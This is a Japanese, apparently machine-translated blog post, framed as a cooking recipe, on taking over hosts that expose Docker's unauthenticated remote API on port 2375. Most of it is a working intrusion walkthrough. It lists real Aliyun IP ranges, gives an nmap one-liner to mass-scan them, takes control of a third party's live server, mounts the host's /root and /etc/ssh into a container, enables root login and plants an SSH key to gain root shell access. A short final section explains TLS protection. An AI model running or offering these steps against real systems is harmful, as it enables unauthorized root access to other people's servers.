Docker がポート 2375 を公開し、サーバー攻撃を引き起こす問題と解決策

Docker がポート 2375 を公開し、サーバー攻撃を引き起こす問題と解決策

docker リモート API を学習した学生であれば、ポート 2375 についてよくご存知だと思います。2375 は docker リモート コントロールのデフォルト ポートです。このポートを通じて、リモート docker デーモンを直接操作できます。

$HOST ホストがdocker daemon -H=0.0.0.0:2375モードでデーモンを起動すると、外部マシン上の $HOST の docker デーモンを直接操作できます。

docker -H tcp://$HOST:2375 ps

さて、「侵入」の仕方について話しましょう。このポートを通じてホストマシンに侵入するにはどうすればいいのでしょうか?

これはいくつかの点から始まります:
1. Docker はuser namespaceを分離しません。つまり、コンテナ内のルートユーザーはホストマシンのルートユーザーです。ディレクトリがマウントされると、マウントされたファイルシステムは、ホストマシンのルートユーザーとしてコンテナ内で自由に変更できます。

  • docker サービスには高い実行権限 (root と同等) があり、docker ユーザー グループの一般ユーザーは、他の検証なしで docker run などのコマンドを実行できます。
  • 公開された docker リモート API ポートで SSL 検証が有効になっていない場合、docker ホストに接続できるマシンであれば、どのマシンでも docker ホストの docker デーモンを自由に操作できます (docker run、docker ps、docker rm などのコマンドは問題ありません)。

上記の 3 つのポイントを組み合わせると、基本的に Docker ホストに侵入するための条件が整います。

これは少し無理が​​あるように聞こえるかもしれないので、新しい例を見てみましょう。

(最近覚えた料理でその工程を説明させてください╮( ̄▽ ̄)╭)

秘伝の煮込み豚(ドッカーバージョン)

材料: 「5 つの花」の IP セグメントのブロック全体。太いほど良い (初心者ユーザーが多いほど良い)

材料: nmap、docker

ステップ1: ポート2375をスキャンする

スキャン方法は?私はシンプルで使いやすいハッカー必須ツールであるnmap選択しました。

どこを掃除しますか?私が選択したターゲットは aliyun の IP セグメントであり、Baidu は次のことを発見しました。

42.96.128.0/17 アリババ(北京)テクノロジー株式会社 中国 
42.120.0.0/16 Aliyun Computing Co., LTD 中国 
42.121.0.0/16 Aliyun Computing Co., LTD 中国 
42.156.128.0/17 Aliyun Computing Co., LTD 中国 
110.75.0.0/16 アジア太平洋ネットワーク情報センター 中国 
110.76.0.0/19 アリテクノロジー株式会社 中国 
110.76.32.0/20 Aliyun Computing Co., LTD 中国 
110.173.192.0/20 HiChina Web Solutions (北京) Limited 中国 
110.173.208.0/20 HiChina Web Solutions (北京) Limited 中国 
112.124.0.0/16 杭州アリババ広告有限公司 中国 
112.127.0.0/16 杭州アリババ広告有限公司 中国 
114.215.0.0/16 杭州アリババ広告有限公司 中国 
115.28.0.0/16 HiChina Web Solutions (北京) Limited 中国 
115.29.0.0/16 HiChina Web Solutions (北京) Limited 中国 
115.124.16.0/22 杭州アリババ広告有限公司 中国 
115.124.20.0/22 杭州アリババ広告有限公司 中国 
115.124.24.0/21 杭州アリババ広告有限公司 中国 
119.38.208.0/21 杭州アリババ広告有限公司 中国 
119.38.216.0/21 杭州アリババ広告有限公司 中国 
119.42.224.0/20 アリババ(中国)テクノロジー株式会社 中国 
119.42.242.0/23 杭州アリババ広告有限公司 中国 
119.42.244.0/22 杭州アリババ広告有限公司 中国 
121.0.16.0/21 杭州アリババ広告有限公司 中国 
121.0.24.0/22 杭州アリババ広告有限公司 中国 
121.0.28.0/22 杭州アリババ広告有限公司 中国 
121.196.0.0/16 杭州アリババ広告有限公司 中国 
121.197.0.0/16 杭州アリババ広告有限公司 中国 
121.198.0.0/16 杭州アリババ広告有限公司 中国 
121.199.0.0/16 杭州アリババ広告有限公司 中国 
140.205.0.0/16 Aliyun Computing Co., LTD 中国 
203.209.250.0/23 杭州アリババ広告有限公司 中国 
218.244.128.0/19 杭州アリババ広告有限公司 中国 
223.4.0.0/16 杭州アリババ広告有限公司 中国 
223.5.0.0/16 杭州アリババ広告有限公司 中国 
223.5.5.0/24 杭州アリババ広告有限公司 中国 
223.6.0.0/16 杭州アリババ広告有限公司 中国 
223.6.6.0/24 杭州アリババ広告有限公司 中国 
223.7.0.0/16 杭州アリババ広告株式会社

私は IP を制作しているわけではなく、Baidu のポーターです。これらの IP がどこから来たのか聞かないでください。私も知りたいのです~ >.<

上記のIP内容をaliyun.listなどのファイルに保存します。

スキャンを開始します:

cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open 
# コマンドを簡単に説明します:
# awk は IP セグメントの最初の列をフィルタリングします # xargs はフィルタリングされた IP を 1 つずつ nmap に送信します。-I {} は、送信されたパラメータを {} を使用して置き換えることを意味します # ...
# 2016-06-05 09:57 CST に Nmap 7.01 ( https://nmap.org ) を起動
# 42.96.MOSAIC.MOSAIC の Nmap スキャン レポート
# ホストが起動しています(遅延 0.070 秒)。
# 港湾国サービス
# 2375/tcp ドッカーを開く
# ...

2分も経たないうちに、 42.96.MOSAIC.MOSAIC最初の作品「豚バラ肉」が選択されました、さあ~

ステップ2: 2375の直接制御をテストする

docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps
 
# コンテナ ID イメージ コマンド 作成 ステータス ポート  
# 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 日前 3 日前 0.0.0.0:9009->80
# f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 日前 3 日前 8080/tcp, 28015/
# 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 日前 3 日前 0.0.0.0:500->500
# af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 週間前 3 日間稼働 443/tcp, 0.0.0.0
# ...

このサーバーの所有者は本当に協力的です (⊙ο⊙)。 PS を通じてコン​​テンツを直接見ることができます。つまり、このホストの 2375 には SSL 検証がなく、基本的に侵入要件を満たしています。

「五花」を洗って切り、鉢に植える準備をします~

ステップ3: 独自のコンテナをリモートで起動する

Docker を制御できるようになると何ができるようになりますか?ゲットしてよかったです〜

# images 既存のローカルイメージを確認します# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images
# ...
# swarm 最新 47dc182ea74b 4 週間前 19.32 MB
# jwilder/nginx-proxy 最新 203b20631e41 4 週間前 255.6 MB
# ubuntu 最新 c5f1cf30c96b 4 週間前 120.8 MB
# 造船所/造船所 最新 ba426f0944bc 5 週間前 58.92 MB
# ...

一部出力を省略しています。画像がかなり多いです。Ubuntuを選択しましょう。

# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 実行 --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

このステップを見ると、SSHの知識がある学生なら理解できるはずだと私は思う。

ステップ4: SSH pubキーの挿入

起動したばかりのコンテナで、まず/tmp/ssh_etc/sshd_config (つまり、ホストの/etc/ssh/sshd_config ) の PermitRootLogin フィールドを確認します。 noの場合は、 yesに変更して、rootがssh経由でログインできるようにします。

次に、マシン上で新しい pub キーのペアを生成します (すでに ssh キーがある場合は、新しいキーを生成することをお勧めします。毎日使用する ssh pub キーは使用しないでください)。

# ssh-keygen を使用して生成します ssh-keygen -t rsa -C "[email protected]"
# コマンドを実行した後、「キーを保存するファイルを入力してください」というプロンプトを読んで、自分の SSH キーを上書きしないように注意してください。/tmp/id_rsa を選択できます。
# その他のプロンプトについては、次のように入力してください

続行し、ssh pubキーを挿入し、実行を開始したコンテナに戻ります。

cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... # 先ほどマシン上で生成した /tmp/id_rsa.pub ファイルをここに貼り付けます
>終了
 
# /tmp/root/.sshディレクトリが存在しない場合は直接作成します

スターアニス、ローリエの葉、薄口醤油、濃口醤油、酢を加え、中火で煮て、盛り付けます。

ステップ5: サーバーにログインする

# ssh -i ログインするためのキーを指定します ssh -i /tmp/id_rsa [email protected]
 
# Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64) へようこそ
#
# * ドキュメント: https://help.ubuntu.com/
#
# aliyun Elastic Compute Service へようこそ!
#
# 最終ログイン: 2016 年 6 月 3 日金曜日 01:38:07 120.85.MOSAIC.MOSAIC から
# manpath: ロケールを設定できません。$LC_* と $LANG が正しいことを確認してください
# ルート@iZ28p9b7e***:~# 
# ...

ソースがとろみがつくまで強火で煮詰めたら火から下ろします。

厳粛な宣言

上記のチュートリアルは、コミュニケーションと学習のみを目的としています。42.96.MOSAIC.MOSAIC サーバーの42.96.MOSAIC.MOSAIC id_rsa.pub 、このチュートリアルの完了後にアクティブにクリアされ、そのことを通知するメッセージがサービス上に残されました。

利用可能なポート 2375 を偶然発見した場合は、使用を中止して他の目的で使用しないようにするか、他の侵入の脆弱性を見つけて、皆さんとコミュニケーションを取り、学習できるようにしていただければ幸いです。

2375 は Docker の脆弱性ですか?

いいえ! 2375 をパブリック インターネットに直接公開することは、単にユーザーの習慣または怠惰の問題です。2375は、比較的安全な内部ネットワークでの便利なテストに使用できますが、実稼働環境での使用には適していません。

Docker 公式サイトの最初のドキュメント「クイックスタート」には、次のような一文があります。

警告: デフォルトのDockerデーモンバインディングをTCPポートまたは
Unix dockerユーザーグループは、セキュリティリスクを増加させます。
非ルートユーザーがホスト上でルートアクセスを取得できないようにする。
dockerへのアクセス。TCPポートにバインドしている場合は、
そのポートへのアクセスはDockerの完全なアクセス権を持っているため、お勧めできません。
オープンネットワーク上で。

警告: デーモンが TCP ポートに直接公開されている場合、非 root ユーザーがホスト マシン上で root 権限を取得できる可能性があります。実はこれが、上記のサーバーが侵入された理由です。

予防方法

では、問題は、リモート API を使用したいがハッキングされるリスクを避けたい場合はどうすればいいのかということです。

公式の Docker ドキュメントでは、CA 認証を通じてリモート API を使用する方法が紹介されています。

詳細については、「Dockerデーモンソケットを保護する」を参照してください。

(理解できたらまたブログを書きますが、ここにリンクしておきますOO)

設定プロセスは比較的簡単です。以下は SSL を設定した後の効果を示す図です。

Docker がポート 2375 を公開してサーバー攻撃を引き起こす問題とその解決策に関するこの記事はこれで終わりです。Docker がポート 2375 を公開することに関する関連コンテンツの詳細については、123WORDPRESS.COM の以前の記事を検索するか、次の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Docker での環境変数の使用とよくある問題の解決策
  • Dockerはターミナルで中国語を入力できない問題を解決します
  • DockerでJenkinsをインストールし、初期プラグインのインストール失敗の問題を解決する
  • Dockerコンテナが外部ネットワークにpingできない問題を解決する
  • Docker環境でJenkinsを設定すると、タスクをビルドするときにコンソールログに文字化けした中国語の文字が表示されます
  • docker ログが取得できない問題の解決方法
  • Ubuntu 19でdockerソースをインストールできない問題を共有する
  • Dockerに関するよくある質問

<<:  ES6のシンボルデータ型について詳しく説明します

>>:  MySQL ストアド プロシージャを作成 (CREATE PROCEDURE) して呼び出す (CALL) 方法と、変数を作成 (DECLARE) して割り当てる (SET) 方法

推薦する

Linuxホスト名変更コマンドの詳しい説明

Linux ホスト名変更コマンド1. ホスト名を一時的に変更するだけの場合は、hostname コマ...

MySQL のスケジュールされた完全なデータベースバックアップ

目次1. MySQLデータのバックアップ1.1、データをバックアップするためのmysqldumpコマ...

バックエンド管理システムを構築するためのvue-element-adminの実装手順

最近、カンファレンスの健康申告システムに取り組んでいたとき、バックエンドを構築する必要があり、vue...

MLSQL スタックでストリームのデバッグを簡単にする方法

序文クラスメートが MLSQL Stack のストリーミング サポートを調査しています。そこで、フロ...

表のセル間の境界線/区切り線を非表示にする方法

上の境界線のみを表示する <table frame=above>下の境界線のみを表示する...

色の16進数カラーコード表表示と16進値の比較表示で簡単に検索できます

さまざまな色の16進コード表[パート1] 赤とピンク、およびそれらの 16 進コード。 #99003...

Tomcat が非同期サーブレットを実装する方法の詳細な説明

序文これまでの Tomcat シリーズの記事を通じて、私のブログを読んでいる学生は Tomcat に...

Vue はユーザーのログイン状態を維持します (さまざまなトークン保存方法)

目次クッキーの設定方法クッキーのデメリット: LocalStorage と SessionStora...

Vue はタブ ラベルを実装します (ラベルが自動スクロールを超える)

作成されたタブラベルがページの表示領域を超えると、タブラベルの距離だけ自動的にスクロールされます。ま...

MySQL ルート パスワードをリセットするときに発生する「不明な列 'password'」問題を解決する方法

夜にMACの電源を入れたところ、突然ルートアカウントがMySQLに正常にログインできなくなったため、...

メッセージボードにメッセージを追加および削除するための JavaScript

この記事では、JavaScript メッセージ ボードでメッセージを追加および削除する小さな例を詳細...

MySQLのインストール時に発生する可能性のある問題

質問1:インストール中に net start mysql と入力すると、次のエラー メッセージが表示...

CentOS7 に YUM 経由で MySQL 5.7 をインストールする詳細な手順

1. インストールパッケージを保存する場所に移動しますcd /home/lnmp 2. MySQL ...

Vue のスロットとフィルターの詳細な説明

目次スロットスロットとは何ですか?スロットの内容コンパイルスコープフォールバックコンテンツ名前付きス...